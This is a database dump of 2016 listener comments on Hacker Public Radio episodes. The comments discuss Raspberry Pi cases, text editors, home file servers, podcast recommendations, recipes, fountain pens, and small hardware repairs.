(1557,2023,'2016-05-04 08:02:18','Mike Ray','Pi3 in a Metal Box','If you put a Pi3 in a metal box it acts as a good Faraday cage and the WiFi and Bluetooth RF cannot get in or out.\r\n\r\nGood episode.  I bought one of the PiBow cases recently and the layer pieces snapped apart in several places.  Very poor quality in my opinion.','2017-09-09 07:41:31'),
(1558,2023,'2016-05-04 14:53:06','JWP','GNU Nano Editor','The GNU Nano Editor is a real hardcore editor for people who do not want to hurt themselves with an editor.','2017-09-09 07:41:31'),
(1559,2023,'2016-05-04 18:29:43','Dave Morriss','Faraday cage, Pibow and Nano','Hi Mike!\r\n\r\nThanks for confirming: yes I thought a metal case would block both WiFi and Bluetooth as you say. However, these are being sold as suitable for the Pi 3, though I imagine this is more to do with the size. Seems odd though.\r\n\r\nThe Pibow cases are made of quite thin acrylic - 2.8mm thick according to my digital callipers. Some layers have quite narrow pieces which wrap around items on the board like the USB connectors. Also you have to remove a protective film from each layer, which can put strain on these narrow parts as you peel it off. I have nearly snapped them on occasion, but the trick is to be slow and steady as you peel and support the weaker pieces. Once assembled the layers above and below keep everything nice and firm I find.\r\n\r\nHi JWP!\r\n\r\nThere\'s nothing inherently wrong with Nano, it\'s simple to use and does the job. I used Pico (on a VAX Cluster running VMS where it was the editor for the Pine mail client) for many years. However, it was a tremendous relief to move away to a more powerful editor like EDT and TPU on the VAX, then Emacs and Vi/Vim on Unix.\r\n\r\nFinding myself presented with Nano is a shock when my fingers and brain are trying to operate in Vim mode, so I want to install Vim as soon as I can - preferably with my own .vimrc and all the plugins I normally use!','2017-09-09 07:41:31'),
(1560,2023,'2016-05-07 14:01:47','Mike Ray','Metal boxes and Emacs','I suppose there may be enough holes in a metal Pi case to let some of the RF in or out but as the antennas are on the PCB it would be very inefficient compared to being put in a plastic case.\r\n\r\nEditors?  Emacs of course is the only true editor, Emacspeak doubly so.\r\n','2017-09-09 07:41:31'),
(1561,2023,'2016-05-16 19:36:32','Beeza','Alternative Pi Server Setup','Hi Dave\r\n\r\nThanks for a very interesting show. \r\n\r\nI am using a Pi2 as a file server but avoided a lot of complexity buy using SSHFS. I can connect a client to the server with one line typed in a terminal window. From then on the server can be accessed as if it were a local folder on the client. Very simple, very reliable.\r\n\r\nI\'m not sure I followed the rationale for booting from the attached SSD, given that you still have to have a microSD card in the Pi.\r\n\r\nWhichever way you connect, a Pi + SSD is a great low-cost server solution. I\'m staggered that small businesses aren\'t so far buying them in huge numbers.\r\n\r\nI always enjoy your shows, Dave. Please keep them coming.','2017-09-09 07:41:31'),
(1562,2023,'2016-05-16 21:50:52','Dave Morriss','SSHFS; SSD','Thanks for the comments Beeza!\r\n\r\nI tend to use NFS out of habit. I spent many years setting up NFS between Unix systems and others at my work, so it\'s what I do. I have used SSHFS briefly, but not as a permanent thing. I will consider using it more.\r\n\r\nMy thinking about using the SSD was that it\'s built for long-term repeated use, whereas a microSD is not engineered to the same standards. I have heard of SD cards failing in the past and I don\'t want that to happen with this server. I reasoned that the microSD would get very light use in this configuration so would last longer. My information might be out of date though!\r\n','2017-09-09 07:41:31'),
(1563,2024,'2016-05-06 04:40:55','b-yeezi','Interesting approach','This is an interesting approach to prevent creating new files from bad names. You should also consider the command line tool called detox. This tool is especially useful when you are dealing with entire directories of existing files with bad file names. ','2017-09-09 07:41:31'),
(1564,2024,'2016-05-30 16:29:10','Dave Morriss','Nice idea','I have been bitten by this over the years of using Unix and Linux and this is quite an original solution.\r\n\r\nPersonally, I have got into the habit of either using Tab while typing an existing file name so that the shell formats it for me by adding backslashes before spaces and the like, or by enclosing such names in quotes. However, the strategy of avoiding creating such file names is a good one. ','2017-09-09 07:41:31'),
(1565,2027,'2016-05-10 14:38:51','Steve Saner','','Well done on the audio description of the puzzle. I had an almost perfect picture in my head of it before seeing the pictures. That\'s not an easy thing to do.\r\n\r\nThe story itself was also great. One of the most fun shows to listen too.','2017-09-09 07:41:31'),
(1566,2027,'2016-05-14 00:45:33','Gabriel Evenfire','Glad you liked it','Very glad to hear that the puzzle description was clear.  This was my biggest worry about the podcast:  that it would be hard to imagine what was happening!  Thanks for the feedback!','2017-09-09 07:41:31'),
(1567,2027,'2016-05-30 16:44:17','Dave Morriss','A most interesting show','Thanks for this. It really made me sit and think. I arrived at the \'true\' solution just before you mentioned it, which is probably more coincidence than anything else - I\'m usually poor at doing things like this!','2017-09-09 07:41:31'),
(1568,2027,'2016-08-03 15:59:23','Alpha32','Excellent show','This show was great. The magnet thing was hilarious, it seems that kids always come up with those incredibly simple solutions. Very reaffirming and entertaining. Thanks for sharing! ','2017-09-09 07:41:31'),
(1569,2028,'2016-05-13 18:17:49','Frank','','I found this fascinating.\r\n\r\nI used to do training and support for a company that manufactures security systems.  We made the boards that the door contacts, PIRs, and the like connect to, but we didn\'t make peripheral hardware, other than card readers.  I enjoyed hearing how the doohickey on the other end of the wire worked','2017-09-09 07:41:31'),
(1570,2028,'2016-05-24 02:09:20','Bill','','Glad you liked it. Maybe you should do one from the other end as well and we can do competing podcast. ;)\r\n ','2017-09-09 07:41:31'),
(1571,2028,'2016-05-24 19:21:34','Frank','','I\'ve been out of that industry for almost 10 years.  Not sure I remember enough to talk coherently about it.:)','2017-09-09 07:41:31'),
(1572,2028,'2016-05-25 15:22:20','Todd','','Very interesting.  Please do more.','2017-09-09 07:41:31'),
(1573,2028,'2016-05-30 16:46:22','Dave Morriss','Interesting subject','There was a lot I didn\'t know in here. I\'m looking forward to more!','2017-09-09 07:41:31'),
(1574,2028,'2016-06-03 10:50:42','Bill','','Any particular type things you guys would like to know about?','2017-09-09 07:41:31'),
(1575,2028,'2016-06-03 19:28:57','Frank','','I would think that some persons would be interested in knowing how prox readers and cards work.  I encounter lots of misconceptions about prox cards, such \"they send out a signal all on their ownsome.\"','2017-09-09 07:41:31'),
(1576,2029,'2016-05-30 16:50:28','Dave Morriss','Was tempted to get one','I saw some of these, built and installed in a laser-cut plywood case, when I was at the Edinburgh Mini Maker Faire recently. I was tempted to buy one but didn\'t because I wasn\'t sure what I\'d use it for! They were selling for around &pound;30 I think.\r\n\r\nGreat subject for a show!','2017-09-09 07:41:31'),
(1577,2029,'2016-06-04 15:47:26','NYbill','','If it was a color screen it might be the same kit. There are a few other DSO kits out there with non-color screens. \r\n\r\nI\'m sure these things can be bought cheaply in bulk. Looks like someone might be making a bit off them selling them with a custom made plywood case. \r\n\r\nGood on\'em. The entrepreneurial spirit. \r\n\r\n','2017-09-09 07:41:31'),
(1578,2029,'2016-06-05 17:13:37','Dave Morriss','Pre-built kit','The company still have the item on their website, though it seems to be sold out. It seems to be the red PCB and a colour screen, so I guess it\'s genuine and might be the same model.\r\n\r\nhttps://curiouselectric.co.uk/products/osillo-tron-o-matic-2000-oscilloscope-kit\r\n','2022-02-14 13:17:28'),
(1579,2030,'2016-05-13 18:50:47','Frank','','Sometimes, nothing beats a book.','2017-09-09 07:41:31'),
(1580,2032,'2016-05-17 14:54:00','Peri Saner','Wife','Brilliant! Insightful! Funny! Well written and well-recorded. I even learned some things about you! This program has insights for the beginner as well as the experienced. A highly recommended listen.','2017-09-09 07:41:31'),
(1581,2032,'2016-05-17 19:24:34','Jonathan Kulp','Bring on the rockets','Very nice episode! Can\'t wait to hear about model rockets...','2017-09-09 07:41:31'),
(1582,2032,'2016-05-18 19:48:27','NYbill','The old gray beards in the basement.','Its amazing how many of us discovered the Unix systems in the depths of our college basements. ;)','2017-09-09 07:41:31'),
(1583,2032,'2016-05-30 17:10:19','Dave Morriss','Really enjoyed this','An excellent show. A lot of old memories were triggered for me with your mention of VMS, SunOS, SPARCstations, Usenet and the rest.\r\n\r\nLooking forward to more shows.','2017-09-09 07:41:31'),
(1584,2034,'2016-05-19 04:06:55','Frank','','Oops.  Looks like I made a typo.','2017-09-09 07:41:31'),
(1585,2034,'2016-05-20 12:56:31','Frank','','I made a couple of loaves of this yesterday, this time adding oats, as I found a can of steel-cut oats in the pantry.\r\n\r\nI used about a quarter cup of oats for two loaves, pouring boiling water over them and letting them soak for about two hours before mixing the dough.  The results tasted good, but the oats seemed to add more to the texture than to the flavor,  \r\n\r\nI note, though, that the results passed the girlfriend test with flying colors.','2017-09-09 07:41:31'),
(1586,2034,'2016-05-30 17:17:35','Dave Morriss','Must try this, or a modification thereof','Interesting recipe. There are some quite powerfully-flavoured seeds there and I\'m curious to find out how they taste in combination.\r\n\r\nI often use sesame, poppy and sunflower seeds and might put caraway in a rye-based loaf.','2017-09-09 07:41:31'),
(1587,2034,'2016-06-02 03:12:49','Frank','','It is quite good, but different.  It\'s not for every day nor every taste, but I do quite like it.  \r\n\r\nI cannot envision eating it with jam--I fear the sweetness of the jam would clash with the savoriness of the bread.   As for rye and caraway, if I bake rye bread and forget the caraway, it fails the Hungarian girlfriend test.:)\r\n\r\nAlso, if you\'re a mystery buff, try some Kerry Greenwood mysteries.  Kerry Greenwood makes words dance.','2017-09-09 07:41:31'),
(1588,2035,'2016-05-20 12:50:09','Tony Hughes','building community','Really enjoyed this show, I like some of the idears you suggest. Getting some of the podcasters from popular Linux/tech podcasts to do guest shows for HPR and then publicising them on their site\'s. This would drive listeners to both HPR and the guest hosts show, this is a win situation to both party\'s. Also if hosts who have their own blog, blog about their shows at HPR this may also drive new traffic to the HPR site. I did a post on both my own and my Makerspace blog for this very reason after my first HPR show to be aired soon. ','2017-09-09 07:41:31'),
(1589,2035,'2016-05-20 14:02:18','droops','Tech Podcasts','I am very out of the loop. What shows should we go after? What shows do you listen to?','2017-09-09 07:41:31'),
(1590,2035,'2016-05-20 14:17:59','Dave Morriss','Show tags','Some great suggestions here. Thanks.\r\n\r\nAs far as the tag situation is concerned there is an ongoing project to add these (and summaries), where we\'re asking for Community assistance. Check out https://hackerpublicradio.org/missing_summaries_and_tags.html for the current state, and how to send updates. All contributions are very welcome!\r\n\r\nThe idea of explicitly linking to related shows is an excellent one, though some database redesign and code changes might be desirable to improve tag parsing and searching.','2022-02-14 13:17:28'),
(1591,2035,'2016-05-20 19:32:27','Tony Hughes','Building Comunity','Hi Droops\r\n\r\nSome of the other tech related shows I currently listen to are:\r\n\r\nThe Ubuntu Podcast \r\nhttps://ubuntupodcast.org/\r\n\r\nThe Pi Podcast\r\nhttps://thepipodcast.com/\r\n\r\nmintCast\r\nhttps://mintcast.org/\r\n\r\nLinux Luddites\r\nhttps://linuxluddites.com/\r\n\r\nBad Voltage\r\nhttps://www.badvoltage.org/\r\n\r\nGeekRant\r\nhttps://elementopie.com/geekrant-episodes\r\n\r\nGoing Linux\r\nhttps://goinglinux.com/\r\n\r\nComputer America\r\nhttps://computeramerica.com/\r\n\r\nLinux Unplugged\r\nhttps://www.jupiterbroadcasting.com/\r\n\r\nLinux Voice \r\nhttps://www.linuxvoice.com/category/podcasts/\r\n\r\nDan Lynch (former Linux Outlaws)\r\ndanlynch.org/\r\n\r\nAll the podcasts mentioned here are community driven and their hosts would make good guest hosts, or people to interview.\r\n\r\nI\'m sure other HPR listeners/hosts could suggest many more that I\'ve never heard of let alone listened to.\r\n\r\n\r\n','2022-02-14 13:17:29'),
(1592,2035,'2016-05-22 09:00:15','amunizp','app','App that records flac and uploads to next slot would be great. Make it available on F-droid.\r\n\r\nI have wanted to do a python-kivy app, maybe just a RSS catcher only for HPR will catch enough attention. currently I am using antennapod for rss of comments','2017-09-09 07:41:31'),
(1593,2035,'2016-06-18 03:00:35','FiftyOneFifty','','As far as transcription, lets look at the speech to text API\'s Mycroft uses (at least at roll out) or some of the algorithms developed for Sirius at https://clarity-lab.org/.','2022-02-14 13:17:29'),
(1594,2037,'2016-05-26 21:52:35','Dave Morriss','Cooking! Yay!','Great show.\r\n\r\nI use those spices a lot - mainly in stewed apple - but I\'ve never tried them in porridge. I must sample them sometime.\r\n\r\nOn the subject of naming differences, we call the dry processed oats (crushed, ground, chopped, rolled, etc) \"oatmeal\". What you call oatmeal we call porridge I believe.\r\n\r\nYes, I think we need more cooking shows. Regional recipes sound like a great idea. As a Sassenach I\'m not sure I\'m the right person to talk about Scottish cooking though :-)','2017-09-09 07:41:31'),
(1595,2038,'2016-05-25 02:10:33','Jon Kulp','Hilarious','Wow this might be the funniest HPR episode I\'ve ever heard. (the boat\'s on fire!!) As far as making a recording while I\'m doing something, it\'s all about the $2 lapel microphone, plugged either into my zoom H1 or my phone. Awesome show, Jezra!','2017-09-09 07:41:32'),
(1596,2038,'2016-05-28 01:34:09','Dennis New','Hilarious Indeed','I lol\'ed a few times -- including the \"the boat\'s on fire\" Excellent show.','2017-09-09 07:41:32'),
(1597,2038,'2016-05-28 23:02:34','FiftyOneFifty','Good Times','But I am never going fishing with Jezra','2017-09-09 07:41:32'),
(1598,2038,'2016-06-04 06:22:16','Kathy scogna','Director','Very funny. \r\nSo funny that I kept looking for the video....duh, this is public radio.\r\nGood job.','2017-09-09 07:41:32'),
(1599,2042,'2016-06-01 01:18:36','Kevin O\'Brien','Dan Carlin','Thanks for recording this Jane. I always enjoy seeing what other people are recommending. I am also a huge Dan Carlin fan. I have listened to every one of his Hardcore History shows, and stay current with Common Sense.\r\n\r\nFor anyone who loves US history, I can also recommend Ben Franklin\'s World, which is at https://www.benfranklinsworld.com/ . They bill themselves as a podcast about \"Early American History, which in practice means Colonial through the Civil War.','2022-02-14 13:17:29'),
(1600,2042,'2016-06-01 11:39:40','Jon Kulp ','Ask Me Another ','I enjoyed this episode, thanks.  if you like \"Wait wait,  don\'t tell me,\"  you probably would like \"Ask me another,\"  if you don\'t already listen to it. Thanks also for mentioning the James Joyce podcast. I\'m a huge James Joyce fan and at one point studied his works quite closely. If nothing else, that podcast is guaranteed to have a steady source of new material for a really long time. :-)','2017-09-09 07:41:32'),
(1601,2042,'2016-06-01 13:25:35','Dave Morriss','Frank Delaney et al','I thoroughly echo Kevin\'s comments about Dan Carlin. Also knew little about the history of First World War, even though my late father was fascinated by it, and our house was full of books about it. Dan Carlin drew a picture of events that horrified and fascinated me.\r\n\r\nIn the past I have listened to Frank Delaney a lot on BBC Radio, where he presented programmes called \"Bookshelf\" and \"Word of Mouth\", both absolutely excellent in my opinion. I shall follow your recommendation and try his podcast as well.\r\n\r\nThanks for such an interesting show.','2017-09-09 07:41:32'),
(1602,2042,'2016-10-04 08:27:46','elmussol','Re: Joyce','Just subscribed to Re: Joyce.\r\n\r\nThank you.','2017-09-09 07:41:32'),
(1603,2044,'2016-06-07 19:54:10','rocket-dog','','Hope you are doing well Bill.  :)','2017-09-09 07:41:32'),
(1604,2044,'2016-06-11 12:35:21','NYbill','','Hey Rocket-Dog. Its been a long time! I doubt this is the place for a chit-chat though. :P Shoot me an email if you\'d like. \r\n\r\n','2017-09-09 07:41:32'),
(1605,2047,'2016-06-07 22:19:15','FiftyOneFifty','Neat little app, thanks','Even though there isn\'t a binary in the openSUSE repos, installation was as easy as downloading the source from Github, unpacking the archive, and running \"sudo make install\"','2017-09-09 07:41:32'),
(1606,2049,'2016-06-09 10:14:22','pitfd','Server Setup','Dear Knightwise,\r\n\r\ngreat contribution. Would like to have one :-). As I am not well versed in \r\nserver stuff, would you mind to elaborate on server setup - may be\r\npoint out a good tutorial?\r\nthank you\r\npitfd','2017-09-09 07:41:32'),
(1607,2049,'2016-06-10 11:46:38','Jon Kulp','CenterIM','Great episode! Especially liked the rundown of CLI apps. Got CenterIM running on my servers now. Thanks.','2017-09-09 07:41:32'),
(1608,2049,'2016-06-11 20:57:46','Jon Kulp','CLI word processing','I\'ve been trying out that CLI word processor, wordgrinder. This is really pretty cool. Once I figured out that you had to use the native .wg format to start out with and then convert it over to odt or HTML, it worked great. I like how it does a nice clean HTML conversion without any styling at all. You\'ve got very basic paragraph styles for headings and quotations, couple of basic character formatting options, it\'s just right. :-) Thanks for the tip.','2017-09-09 07:41:32'),
(1609,2049,'2016-06-17 01:54:56','laindir','Me too','I also find myself ssh\'d into my rpi as my daily driver--glad to know I\'m not alone. I loved the list of apps and have saved it for a re-listen. Inspiring.','2017-09-09 07:41:32'),
(1610,2050,'2016-06-21 22:26:21','Clinton Roy','','What a lovely episode, thanks :)','2017-09-09 07:41:32'),
(1611,2052,'2016-06-21 01:57:55','gurdonark','Good listen','I enjoyed this episode. The \"how I got into computers/Linux\" sections were fun. If my small-town 1970s southern high school had had Logo programming books I would have been delighted--and to this day, Logo is my favorite way to draw. ','2017-09-09 07:41:32'),
(1612,2053,'2016-06-18 02:53:18','FiftyOneFifty','','Good choice, literally my favorite mass produced bottled beer, I reviewed it back in the old Podbrewers days.  I don\'t see it often here, and it\'s kinda spendy when it is.','2017-09-09 07:41:32'),
(1613,2054,'2016-06-17 13:12:06','amunizp','Headless?','Would this work for headless computers. I mean opening and closing minetest server running on a single board computer.','2017-09-09 07:41:32'),
(1614,2054,'2016-06-17 19:54:07','Jon Kulp','Probably','Yes, I think so. I\'m pretty sure that Jezra uses this on a headless computer in his house. You might go back and listen to my interview with Jezra from episode 1284 (https://hackerpublicradio.org/eps.php?id=1284) and see what he says about it.','2022-02-14 13:17:30'),
(1615,2055,'2016-06-17 13:50:29','amunizp','+1 for nano','But a bit disapointed that it is in Facebook. I just use it and like it but not enough to join Facebook.','2017-09-09 07:41:32'),
(1616,2055,'2016-06-18 10:21:39','0xf10e','-1 for facebook, too','Nice show, but dude, that was some really bad noise!\r\n\r\nYou probably meant \"nano is an editor for _normal_ people\". I use vi-style keybindings in my shell but I have yet to notice to be imaginary ;P\r\n\r\nOh, and -1 for Facebook from me, too.\r\nNano should be careful not to be kicked out of GNU when RMS hears about this&hellip;','2017-09-09 07:41:32'),
(1617,2056,'2016-05-16 20:14:46','Tony Hughes','Links to Blackpool Makerspace and Jam','I forgot to put links in for the Makerspace and Jam so here they are.\r\n\r\nBlackpool Makerspace\r\nhttps://blackpoollinux.wordpress.com/\r\n\r\nBlackpool Raspberry Jam\r\nhttps://blackpoolraspberryjam.co.uk/\r\n\r\nTony','2022-02-14 13:17:30'),
(1618,2056,'2016-05-17 15:14:21','Tony Hughes','Interview with a young hacker','Confusing but I\'ve just realised we have two Wordpress sites the other one was for the LUG this includes both Makerspace and LUG posts.\r\n\r\nhttps://blackpoolmakerspace.wordpress.com/','2017-09-09 07:41:32'),
(1619,2056,'2016-06-21 16:35:26','Jon Kulp ','Excellent! ','I loved this! I wish he\'d gone into more detail about his python library, but I salute him for having created one in the first place. Great stuff. ','2017-09-09 07:41:32'),
(1620,2057,'2016-06-30 12:08:36','Luke','Steel cut oats','Sadly steel cut oats are really hard to find in UK supermarkets as everywhere just stocks rolled oats.  You can order online but so expensive compared to rolled.  ','2017-09-09 07:41:32'),
(1621,2059,'2016-06-24 01:09:27','Jon Kulp','More!','Excellent first episode! I really enjoyed this. I hope you will do many more episodes in the future, maybe even expanding upon how you met your future wife at age 12! Truly crazy.','2017-09-09 07:41:32'),
(1622,2059,'2016-06-24 21:04:24','Todd Mitchell','','Thanks Jon, more to come!','2017-09-09 07:41:32'),
(1623,2059,'2016-09-07 22:34:53','Stilvoid','Seconded!','I really enjoyed this episode. Please record some more :)','2017-09-09 07:41:32'),
(1624,2061,'2016-06-28 01:12:38','Brian','','Great show, I like your idea\'s of motivating kids to write/take notes. I wish a teacher in my life would have taken the time to teach me this important skill. You should try to be a guest on the pen addict podcast. I think your views would be greatly appreciated.','2017-09-09 07:41:32'),
(1625,2061,'2016-06-28 21:04:26','jezra','','Excellent episode. Just a few of my observations on writing: During National Novel Writing Month, there are quite a few participants who choose to write their novel by hand. While it is true that writing long-hand is usually slower than typing, writing in short-hand can be much faster than typing.\r\n\r\nhttps://www.theatlantic.com/technology/archive/2014/06/yeah-i-still-use-shorthand-and-a-smartpen/373281/','2022-02-14 13:17:30'),
(1626,2061,'2016-06-28 22:03:29','Frank','','I\'ve always preferred fountain pens, starting with one that belonged to my grandmother; I started using that one in high school.  I currently have a relatively inexpensive Waterman--with a bellows, not a cartridge--that is my favorite of the two dozen or so fountain pens we have lying about this house, many picked up at yard sales or resale shops.\r\n\r\nBut I\'m old.  When I went to school, we were taught \"printing,\" which was presented as a precursor to \"writing.\"  Not learning how to write, as opposed to print, was not an option.   \r\n\r\nI agree wholeheartedly that there is a difference between taking notes and simple transcribing a lecture.    Transcription does not promote synthesis of information in any form--one is too preoccupied with taking dictation to think about what is being dictated.\r\n\r\nWhen my own kids came home from school talking about some mysterious thing called \"cursive,\" I almost didn\'t know what the heck they were talking about.','2017-09-09 07:41:32'),
(1627,2061,'2017-01-02 04:19:28','m1rr0r5h4d35','Thanks for sharing!','I am actually a fan of fountain pens as well. I love them, but sometimes it is hard to explain the fascination to people who don\'t get it. I don\'t know about anyone else, but I do get tired of the \"why?\" every time I mention fountain pens. Good to know I am not the only one!','2017-09-09 07:41:32'),
(1628,2062,'2016-06-28 17:16:30','Mike Ray','Baofeng UV5R','Interesting show.  I\'m curious about the Baofeng.  Does it talk out-of-the-box, and are ALL functions and menus spoken?  In other words as a blind op would I be able to do everything with the radio that you can?\r\n\r\nG4XBF','2017-09-09 07:41:32'),
(1629,2062,'2016-07-03 13:34:47','MrX','Re Baofeng UV5R','Yes it does indeed talk out of the box and almost all the functions are announced. Playing with the radio I notice that not all functions are spoken the band function button for example which changes between VHF and UHF function only beeps but you can go to any frequency directly at any time when in VFO mode which is spoken and you can then just type the frequency in directly. The VFO A/B is the same but again the same applies. Would imagine make an excellent radio for a blind op and you won\'t go far wrong at the price, best regards.\r\n\r\nMrX','2017-09-09 07:41:32'),
(1630,2062,'2016-07-04 17:17:56','MrX','Re Re Baofeng UV5R','Just read your comment above again and realised I hadn\'t properly answered your question. yes most if not all the menus are spoken. When you push the menu button it announces &ldquo;menu&rdquo; and shows you on the display which option is selected. You can find out which option is being displayed by pushing the menu button a 2nd time, you would then push exit. \r\n\r\nTo change to another menu option you could either use the up down keys or use keypad entry which unfortunately only beeps within the menu option however again you can find out what option you are in by pushing menu a 2nd time. Hope this makes isn\'t too confusing and I still think a blind op could use it fine particularly if you upload a pile of frequencies to it using the open source chirp software. \r\n\r\nMrx\r\n','2017-09-09 07:41:32'),
(1631,2064,'2016-07-19 16:38:15','Krayon','SLiM','FYI: SLiM (_S_imple _L_og_i_n _M_anager) should allow you to cycle through\r\nthe available DM\'s by pressing the F1 key.  You simply stop on your desired DM,\r\nthen login.\r\n\r\nSLiM config within /etc/ somewhere ( /etc/slim.conf or /etc/slim/slim.conf\r\nprobably) can be used to define the choices.','2017-09-09 07:41:32'),
(1632,2066,'2016-07-04 19:47:31','Ivan \"Epicanis\" Privaci','This is a thing of beauty','I haven\'t listened to the episode, but I must say the inclusion of HTML in the feeds makes these Community News entries *much* easier to read. They used to show up as a smashed-together mass of text in my feed-reader.\r\n\r\nSpiffy work!','2017-09-09 07:41:32'),
(1633,2066,'2016-07-08 11:30:34','Dave Morriss','Series page','I just listened to this episode, and noticed that I told Ken that the Series page (https://hackerpublicradio.org/series.php) was static. It\'s not, it\'s a dynamic bit of PHP like it always was. I just improved the database query and changed the layout.\r\n\r\nI was confusing it with the page about missing summaries and tags (hackerpublicradio.org/report_missing_tags.php) which is static and is regenerated with a Perl script and a template whenever there are updates to these items.\r\n\r\nProbably nobody noticed, but I like to be accurate if I can :-)','2022-02-14 13:17:31'),
(1634,2066,'2016-08-04 22:17:08','Alpha32','World oat domination','Dave, we could start a pinhead/steelcut oat racket. I\'ll ship them from the US, and you sell them in the UK. I\'m guessing their rarity in the UK is because you had been importing them from Europe? The pinhead oat industry, an unforeseen casualty of Brexit? ','2017-09-09 07:41:32'),
(1635,2066,'2016-08-06 22:03:52','Dave Morriss','Made in Scotland','Alpha32: nice idea but Pinhead Oatmeal is produced in Scotland by Hamlyns of Banff, Aberdeenshire (see my picture at https://flic.kr/p/JH3hkk), and others too no doubt. I suspect that not much goes south of the border :-)\r\n\r\nAs to Brexit, in my nightmares I see us heading back to the days of my childhood where garlic was evil foreign substance and olive oil was for putting on burns and was kept in the medicine cabinet.','2017-09-09 07:41:32'),
(1636,2068,'2016-07-06 13:36:42','cybergrue','','GPodder was slow in my case because it was indexing all the files in its folder to maintain an internal database.  You can set options in the GPodder options to delete files after x number of days.  Also you can manually clean up files in the application. That said, never delete the underlying files because it will cause the GPodder database to become desynchronized which causes its own set of problems.  ','2017-09-09 07:41:32'),
(1637,2068,'2016-07-07 17:03:22','Frank','','As a Slackware user, I sort of kind of knew of the Church of the Subgenius, praise Bob, but I had not stumbled over their podcast.\r\n\r\nAll I can say is, how very strange.\r\n\r\nJust as an aside, I use podget to get my pods.  I used to use podracer until it didn\'t like me any more.\r\n\r\nNone of that fancy GUI stuff for me.:)','2017-09-09 07:41:32'),
(1638,2068,'2016-07-21 08:34:24','folky','','Thank you for your show!\r\nI too use podget (I talked about it earlier - HPR1992). My podget saves nearly all files in folders named with date. You get this by setting %YY%-%MM%-%DD% after the feed-urls in your serverlist. This way you can listen chronologically and can easy delete all you listened to without the need to know it for every file. You didn\'t have to use cleanup-function of podget either.\r\n\r\nDid you set MOST_RECENT=xx in your podgetrc? I set it to 30 and it works.\r\n\r\nOn the question of syncing between devices I recommend to use rsync. You can take a look at the script I wrote https://github.com/swegryps/bepackpod for inspiration.','2017-09-09 07:41:32'),
(1639,2069,'2016-07-08 04:53:35','b-yeezi','Thanks for the quick tips','I already know about countif.  There is also a function called sumif, which is similar. Instead of counting, it will sum up the values of a given range if criteria is met in another range.\r\n\r\nConsider:\r\n\r\nred    | 1\r\nblue   | 4\r\ngreen | 6\r\nred    | 4\r\n\r\n=sumif(A1:A4,\"red\",B1:B4)\r\nresult: 5\r\n\r\nThe sumproduct was new for me.  I have already started to use it. Keep up the informative shows. ','2017-09-09 07:41:32'),
(1640,2070,'2016-07-09 16:43:41','Frank','','It was nice to hear Project Gutenberg and Librivox get some publicity.  They are two of the most worthwhile projects on the innerwebs.','2017-09-09 07:41:32'),
(1641,2072,'2016-07-16 00:45:52','Frank','','I hope I never have to do this, but I\'m glad to know it\'s possible.  \r\n\r\nThanks.','2017-09-09 07:41:32'),
(1642,2072,'2016-07-17 17:31:45','brian','great info','I have had my best results with \"testdisk\", but definitely gonna play with this.','2017-09-09 07:41:32'),
(1643,2074,'2016-07-14 16:10:01','Ken Fallon','This show is of interest to hackers','Dont be afraid to share more.\r\n\r\nKen','2017-09-09 07:41:32'),
(1644,2074,'2016-07-16 00:44:59','Frank','','A tale of kindness, gentleness, and truth, especially the truth that we must accept death as being as much a part of life as birth.\r\n\r\nThis caused me to remember an experience we once had, though the end was happier.\r\n\r\nMy new wife and I were going away to visit my parents over Thanksgiving, which is at the end of November in the States, and her younger sister was watching the house; sister allowed the cat to escape.  Understand the cat was declawed was most decidedly not an outside cat.  \r\n\r\nThe cat did not come back.\r\n\r\nLater on, in the spring, across the street neighbor called me over and there was Mittens, curled up next to his chimney, a shadow of her former self.  When I brought her back in side, new wife shrieked and ran away, the poor thing looked so bad.  The happy ending is that she (the cat) fully recovered and lived long enough to tame the Labrador we got several years later.','2017-09-09 07:41:32'),
(1645,2074,'2016-10-08 15:02:26','Another Frank','Touching','I usually listen to podcasts late in bed (basically to relax the eyes and eventually fall asleep). This one almost brought a tear to my eye when your tale came to the point of departure.\r\n\r\nI grew up with quite some cats and from those, two actually grew old in our household, the last one was blind for her last 1&frac12; or 2 years. She was mostly outside, mind you. Poor thing.\r\n\r\nCats can be very sociable. They feel when you\'re ill and there\'s even been a story of a retirement home cat in England that sensed when a person was dying. Then, it went to that person\'s room, sat on the bed and spent cosy company until it was all over.','2017-09-09 07:41:32'),
(1646,2078,'2016-07-26 18:44:13','NYbill','Mini9','Ha, our old Mini9 is still kicking huh? Good to hear its still being put to good use!\r\n\r\n','2017-09-09 07:41:32'),
(1647,2078,'2016-07-28 18:21:20','Windigo','My favorite','Not only still kicking, but its been my primary machine for the past three weeks while traveling.\r\n\r\nIn fact, I\'m typing on it right now! Because it was in my bag! How meta!','2017-09-09 07:41:32'),
(1648,2081,'2016-07-26 07:28:33','0xf10e','Nice work!',':D','2017-09-09 07:41:32'),
(1649,2081,'2016-08-07 15:01:12','Alpha32','Brilliant!','Well done, Mr Morriss! I\'m constantly breaking things, so this one is getting bookmarked. ','2017-09-09 07:41:32'),
(1650,2081,'2016-08-07 15:50:33','Dave Morriss','I hope it never happens to you!','Thanks for the comments.\r\n\r\nOne thing I don\'t think I said was that I ensured the drill bit protruded from the Dremel only far enough to get about 2mm from the base of the hole. I had visions of wrecking the laptop if I accidentally drilled into some other component.\r\n\r\nIf I had to do this again I\'d drill as far as I could, then I might try gluing a cocktail stick or thin nail into the hole in the plug with cyanoacrylate/CA/super-glue. I\'d use the gel type so it didn\'t drip all over the place and make the problem worse though. ','2017-09-09 07:41:32'),
(1651,2081,'2016-08-07 20:01:21','Jonathan Kulp','I\'m in the Same Boat','The exact same thing happened on my daughter\'s laptop about 2 months ago. I still have not retrieved the tiny bit of headphone jack from inside the laptop. Our solution was to use a $10 USB audio adapter I had lying around for just such occasions when the audio goes belly-up on one of our computers. She\'s using that now and seems happy enough.','2017-09-09 07:41:33'),
(1652,2081,'2016-08-07 20:49:08','Dave Morriss','Thanks for the hint Jon!','Hi Jon,\r\n\r\nMy daughter had actually survived perfectly well with the adapter of the sort you recommended to me during the semester. Thanks for alerting me to these devices by the way!\r\n\r\nI wanted to fix the audio jack problem because I thought the USB device was mechanically vulnerable, since it sticks out a moderate amount. My son destroyed a dual port on his laptop many years ago in an accident involving a large USB stick, so I have always regarded laptop USB ports as fragile.','2017-09-09 07:41:33'),
